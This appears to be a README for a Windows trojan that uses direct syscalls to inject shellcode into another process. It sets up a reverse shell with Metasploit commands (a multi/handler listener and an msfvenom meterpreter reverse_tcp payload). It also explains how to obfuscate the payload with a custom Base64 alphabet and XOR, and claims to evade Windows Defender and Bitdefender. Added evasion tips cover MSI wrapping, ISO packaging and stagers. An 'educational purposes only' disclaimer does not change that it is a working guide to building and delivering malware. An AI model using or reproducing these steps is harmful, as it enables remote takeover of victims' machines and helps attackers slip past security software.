Trojan that uses direct direct system calls resolved dynamically from ntdll.dll to inject shellcode into a target process, undetected by Windows Defender & Bitdefender. This code is for educational purposes only, do not use it for any malicious or unauthorized activity.
This malware bypasses Windows Api and part of Native api by using direct syscalls, which are CPU instructions (mostly assembly) that transition from user mode to kernel mode. This bypasses AV hooks, EDRs, and reduces static IAT footprint. Its a more advanced and stealthier version of my previous process injector, which used Native api functions, i will post this malware together with the DLL injection version here.
-
First i used the classic multi handler exploit to run the payload, alternatively you can just use the already set shellcode in the code (simple messagbox that says xd):
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost XXX; set lport XXX; exploit"
-
The payload is a simple base64 shellcode, it's reccomended to use shigata_ga_nai alternatives since its detected way more than the raw shellcode for some reason:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX LPORT=XXXX -e x86/shikata_ga_nai -f c
. -
Once we have the shellcode we load it into the
encrypter.c
file, where the binary data is converted into Base64, use a custom base64_chars set instead of the standard alphabet to obfuscate more, secondly XOR encryption is applied (single-byte key), and finally we convert it into a hexadecimal string. You can find the encrypting code here or you can use your own encryption, but remember not to use rsa or aes or similar encoding algorithms as they raise the entropy levels too much.
Here's how it actually works:
- We find the PID of the target iterating through a pre-made linked list of
SYSTEM_PROCESS_INFORMATION
structs representing all running processes; - In order to use Ntdll and syscalls we create custom typedef structs for each function, and we define all the internal structures and objects that they need, sometimes structures may be nested and require even more internal objects;
The syscalls replace the classic WinApi and NativeApi functions:
- First we read the ntdll.dll export table to find the offset for each syscall;
- In the assembly file you can find the stubs for each function, heres an example:
mov eax, <syscall_number>
; - Then we store the syscall numbers globally in
injection.h
; - Each variable stores the runtime-resolved number of every Nt* function;
- When using any function we just call the syscall:
Status = NtOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &OA, &CID)
;
Once all the functions are defined, we can start the classic shellcode thread injection technique:
- We decode the obfuscated shellcode, allocate memory for it, write it into this memory chunk, and set the correct permissions;
- Finally we create a thread into the process and the previously uploaded shellcode will be executed.
This malware bypasses Windows Defender and Bitdefender, but because AVs look for certain patterns like creating a thread right after execution, the exe is still detectable by strong AVs or industrial level firewalls...
Here's the malware, the raw one, the one obfuscated by inserting vs_community metadata into it, and the MSI wrapped version. You can obfuscate it even more using tools like soggoth, or by turning it into an iso/linker file, or by using multiple stagers.